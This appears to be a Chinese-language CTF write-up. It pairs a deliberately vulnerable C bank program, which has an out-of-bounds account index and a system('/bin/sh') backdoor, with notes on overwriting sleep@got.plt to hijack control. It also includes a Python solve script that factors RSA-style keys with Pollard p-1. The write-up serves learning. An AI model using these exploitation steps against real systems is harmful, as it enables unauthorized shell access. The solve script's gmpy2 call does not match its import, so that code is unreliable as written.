1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void init()
{
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
}

void backdoor()
{
system("/bin/sh");
}

int accounts[100];

void deposit(int id)
{
unsigned int amount;
printf("Enter the amount to deposit> ");
scanf("%u", &amount);
accounts[id] += amount;
printf("Deposited %u$ to account %d\n", amount, id);
}

void withdraw(int id)
{
unsigned int amount;
printf("Enter the amount to withdraw> ");
scanf("%u", &amount);
if (amount > accounts[id])
{
printf("ERROR! Current balance: %u\n", accounts[id]);
sleep(1);
}
else
{
accounts[id] -= amount;
printf("Withdrew %u$ from account %d\n", amount, id);
}
}

void main()
{
init();
printf("Welcome to the bank!\n");
int choice, id;
while (1)
{
printf("1) deposit\n");
printf("2) withdraw\n");
printf("Your choice> ");
scanf("%d", &choice);
printf("id> ");
scanf("%d", &id);
if (choice == 1)
deposit(id);
else if (choice == 2)
withdraw(id);
else
printf("Invalid choice\n");

}
}

account[id] 可以 OOB,用來 GOT hijacking
目標: 把 sleep@got.plt 覆寫成 backdoor()
deposit() => 覆寫
withdraw() => leak
offset

1
2
3
0x4080 accounts
0x4048 sleep@got.plt h [-13] l [-14]
0x1250 backdoor()

image
got.plt 在第一次呼叫前都是 base+固定offset
<sleep@got.plt>: 0x0000555555555090 因為 little endien,按照int account 4 bytes 一組,先 0x55555090 再 0x00005555

要將 0x0000555555555090 改成 0x0000555555555250

sleep@got.plt 在 account[-14]

原本 account[-14] = 0x55555090 => 改成 0x55555250
0x55555250 - 0x55555090 = 448
image

(crypto) Proactive Planning

chal.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from Crypto.Util.number import *
from random import getrandbits
from secret import FLAG

def genPrime()->int:
while True:
p = 1
for _ in range(256):
p *= getrandbits(8)
if isPrime(p + 1):
return p + 1

e = 0x10
m = bytes_to_long(FLAG)
p, q = (genPrime(), genPrime())
C = (pow(m, e, p), pow(m, e, q))
N = p * q

print(f"{N = }")
print(f"{e = }")
print(f"{C = }")

output.txt

1
2
3
N = 245420687480030910293131014681513097316897805860015907997290238793037908061889321970643067747599071632004876697443892740373461832739897404992824039705666859978685676148256731481249619240551600688298823327813334982026265819211162436599172552911207622820925395779431967038741077978296032479504244355879076453277839429545428814902805521915851958370011985365075951876093117572939169114186231535255600467275910045372664823195201131313527121300982333739031725446282902152339315042184197622728983863008210927860642758785909138094209306401823250950926284525837770539470052437688590958247465743249015240761650092149407846622211263071037972525183724098938285521476262814934333028607057009674482959012439713961806522389998648832738221606988997592254025463923056643491555337751576246212477882961978575063306242120071365998703341290638505057206765318294021015227372445846979566876416540849080721228851969658123571699007157401963955407592209580070811271329855359365939200000000000000000000000000000000000000000000000000000000000001
e = 16
C = (439231781791682053787800004789500090515405069827267575310144126412212073183656886443512317513437473988568312910849382831051282684866166595013378449246972680452849180695018251047606404399499477181963259998873867440078915470666285294221911483418402164843781527921484550804953154534529236021532462370697370102805338053891442902369171104271440920515546754256339545640481851380162960169019944927911544549873309962781026864701346082115190565271316812955086674541362687313443721995481784918571627855813953908700661871, 45410653305386550806460293366683163840683840887693958374757667150684575232478721464002571675632111383800324454952726849708032360360624723016258879665846393001487751401561000041560174839749619393896575704973412066318065208130082079245493618249592605498133955508921363368248057347635043808420720293553618262120872986948419118763039316625791521751697579251125903615079781604221702413469589144193751155342922907250225850266858411329191983637433918466243662523860234353921039582601873103221279579701559507155136)
  1. N 質因數 p 的 p-1 是平滑的(因數都很小)
    => N 是平滑數 => 用 pollard 分解 N

  2. c1 = m^e mod p
    c2 = m^e mod q

m^e ≡ c1 mod p
m^e ≡ c2 mod q
=> 中國剩餘定理解出^e

  1. e 夠小,可直接開跟解出 m

solve.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from Crypto.Util.number import *
from gmpy2 import *

N = 245420687480030910293131014681513097316897805860015907997290238793037908061889321970643067747599071632004876697443892740373461832739897404992824039705666859978685676148256731481249619240551600688298823327813334982026265819211162436599172552911207622820925395779431967038741077978296032479504244355879076453277839429545428814902805521915851958370011985365075951876093117572939169114186231535255600467275910045372664823195201131313527121300982333739031725446282902152339315042184197622728983863008210927860642758785909138094209306401823250950926284525837770539470052437688590958247465743249015240761650092149407846622211263071037972525183724098938285521476262814934333028607057009674482959012439713961806522389998648832738221606988997592254025463923056643491555337751576246212477882961978575063306242120071365998703341290638505057206765318294021015227372445846979566876416540849080721228851969658123571699007157401963955407592209580070811271329855359365939200000000000000000000000000000000000000000000000000000000000001
e = 16
C = (439231781791682053787800004789500090515405069827267575310144126412212073183656886443512317513437473988568312910849382831051282684866166595013378449246972680452849180695018251047606404399499477181963259998873867440078915470666285294221911483418402164843781527921484550804953154534529236021532462370697370102805338053891442902369171104271440920515546754256339545640481851380162960169019944927911544549873309962781026864701346082115190565271316812955086674541362687313443721995481784918571627855813953908700661871, 45410653305386550806460293366683163840683840887693958374757667150684575232478721464002571675632111383800324454952726849708032360360624723016258879665846393001487751401561000041560174839749619393896575704973412066318065208130082079245493618249592605498133955508921363368248057347635043808420720293553618262120872986948419118763039316625791521751697579251125903615079781604221702413469589144193751155342922907250225850266858411329191983637433918466243662523860234353921039582601873103221279579701559507155136)

def pollard(n: int) -> int:
a, b = 2, 2
while True:
a = pow(a, b, n)
p = GCD(a - 1, n)
if 1 < p < n:
return p
b += 1

p = pollard(N)
q = N//p
print(p,q)
assert p*q == N

'''
c1 = m^e mod p
c2 = m^e mod q
m^e ≡ c1 mod p
m^e ≡ c2 mod q
M = p*q
M1 = M/m1 = q
M2 = M/m2 = p
'''

me = (q * inverse(q,p) * C[0] + p * inverse(p,q) * C[1]) % N
print(gmpy2.iroot(me,0x10))

p, q = q, p # 順序錯誤會導致錯誤結果
me = (q * inverse(q,p) * C[0] + p * inverse(p,q) * C[1]) % N
print(gmpy2.iroot(me,0x10))

print(long_to_bytes(529049093593735347951473078696308452125896686395604221378429))

image